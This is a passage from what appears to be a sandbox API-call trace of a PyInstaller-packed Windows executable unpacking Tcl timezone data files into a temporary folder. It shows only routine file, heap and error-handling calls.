"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\sydney"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.124] GetLastError () returned 0x2 [0041.124] SetLastError (dwErrCode=0x2) [0041.124] GetLastError () returned 0x2 [0041.124] SetLastError (dwErrCode=0x2) [0041.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Sydney", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Sydney", lpFilePart=0x0) returned 0x48 [0041.124] GetLastError () returned 0x2 [0041.124] SetLastError (dwErrCode=0x2) [0041.124] GetLastError () returned 0x2 [0041.124] SetLastError (dwErrCode=0x2) [0041.124] GetLastError () returned 0x2 [0041.124] SetLastError (dwErrCode=0x2) [0041.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Sydney") returned 73 [0041.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Sydney" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\sydney"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.125] GetFileType (hFile=0x10c) returned 0x1 [0041.125] htonl (hostlong=0x771e0000) returned 0x1e77 [0041.125] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0041.126] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.126] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe77, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe77, lpOverlapped=0x0) returned 1 [0041.126] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.126] CloseHandle (hObject=0x10c) returned 1 [0041.126] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.126] htonl (hostlong=0x30000000) returned 0x30 [0041.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.126] GetFileType (hFile=0x10c) returned 0x1 [0041.126] htonl (hostlong=0xca8f5b00) returned 0x5b8fca [0041.126] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x603fca, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.127] htonl (hostlong=0x8b000000) returned 0x8b [0041.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0041.127] htonl (hostlong=0x8b000000) returned 0x8b [0041.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.127] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.127] htonl (hostlong=0xbe000000) returned 0xbe [0041.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe) returned 0x55d680 [0041.127] htonl (hostlong=0x8b000000) returned 0x8b [0041.127] htonl (hostlong=0xbe000000) returned 0xbe [0041.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.127] CloseHandle (hObject=0x10c) returned 1 [0041.127] GetLastError () returned 0x0 [0041.127] SetLastError (dwErrCode=0x0) [0041.127] GetLastError () returned 0x0 [0041.127] SetLastError (dwErrCode=0x0) [0041.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.127] GetFileType (hFile=0x10c) returned 0x1 [0041.127] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.127] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.128] CloseHandle (hObject=0x10c) returned 1 [0041.128] GetLastError () returned 0x0 [0041.128] SetLastError (dwErrCode=0x0) [0041.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.128] GetFileType (hFile=0x10c) returned 0x1 [0041.128] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.128] CloseHandle (hObject=0x10c) returned 1 [0041.128] GetLastError () returned 0x0 [0041.128] SetLastError (dwErrCode=0x0) [0041.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.128] GetFileType (hFile=0x10c) returned 0x1 [0041.129] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.129] CloseHandle (hObject=0x10c) returned 1 [0041.129] GetLastError () returned 0x0 [0041.129] SetLastError (dwErrCode=0x0) [0041.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Tasmania") returned 75 [0041.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Tasmania" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\tasmania"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.129] GetLastError () returned 0x2 [0041.129] SetLastError (dwErrCode=0x2) [0041.129] GetLastError () returned 0x2 [0041.129] SetLastError (dwErrCode=0x2) [0041.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Tasmania", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Tasmania", lpFilePart=0x0) returned 0x4a [0041.129] GetLastError () returned 0x2 [0041.129] SetLastError (dwErrCode=0x2) [0041.129] GetLastError () returned 0x2 [0041.129] SetLastError (dwErrCode=0x2) [0041.129] GetLastError () returned 0x2 [0041.129] SetLastError (dwErrCode=0x2) [0041.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Tasmania") returned 75 [0041.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Tasmania" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\tasmania"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.130] GetFileType (hFile=0x10c) returned 0x1 [0041.130] htonl (hostlong=0xbe000000) returned 0xbe [0041.130] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.130] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbe, lpOverlapped=0x0) returned 1 [0041.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.131] CloseHandle (hObject=0x10c) returned 1 [0041.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d680 | out: hHeap=0x530000) returned 1 [0041.131] htonl (hostlong=0x30000000) returned 0x30 [0041.131] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.131] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.131] GetFileType (hFile=0x10c) returned 0x1 [0041.131] htonl (hostlong=0x55905b00) returned 0x5b9055 [0041.131] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x604055, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.131] htonl (hostlong=0x8e000000) returned 0x8e [0041.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0041.131] htonl (hostlong=0x8e000000) returned 0x8e [0041.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.131] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.131] htonl (hostlong=0xc7000000) returned 0xc7 [0041.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc7) returned 0x550600 [0041.131] htonl (hostlong=0x8e000000) returned 0x8e [0041.131] htonl (hostlong=0xc7000000) returned 0xc7 [0041.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.132] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.132] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.132] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.132] CloseHandle (hObject=0x10c) returned 1 [0041.132] GetLastError () returned 0x0 [0041.132] SetLastError (dwErrCode=0x0) [0041.132] GetLastError () returned 0x0 [0041.132] SetLastError (dwErrCode=0x0) [0041.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.132] GetFileType (hFile=0x10c) returned 0x1 [0041.132] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.132] CloseHandle (hObject=0x10c) returned 1 [0041.132] GetLastError () returned 0x0 [0041.132] SetLastError (dwErrCode=0x0) [0041.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.133] GetFileType (hFile=0x10c) returned 0x1 [0041.133] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.133] CloseHandle (hObject=0x10c) returned 1 [0041.133] GetLastError () returned 0x0 [0041.133] SetLastError (dwErrCode=0x0) [0041.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.133] GetFileType (hFile=0x10c) returned 0x1 [0041.133] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.134] CloseHandle (hObject=0x10c) returned 1 [0041.134] GetLastError () returned 0x0 [0041.134] SetLastError (dwErrCode=0x0) [0041.134] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Victoria") returned 75 [0041.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Victoria" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\victoria"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.134] GetLastError () returned 0x2 [0041.134] SetLastError (dwErrCode=0x2) [0041.134] GetLastError () returned 0x2 [0041.134] SetLastError (dwErrCode=0x2) [0041.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Victoria", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Victoria", lpFilePart=0x0) returned 0x4a [0041.134] GetLastError () returned 0x2 [0041.134] SetLastError (dwErrCode=0x2) [0041.134] GetLastError () returned 0x2 [0041.134] SetLastError (dwErrCode=0x2) [0041.134] GetLastError () returned 0x2 [0041.134] SetLastError (dwErrCode=0x2) [0041.134] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, 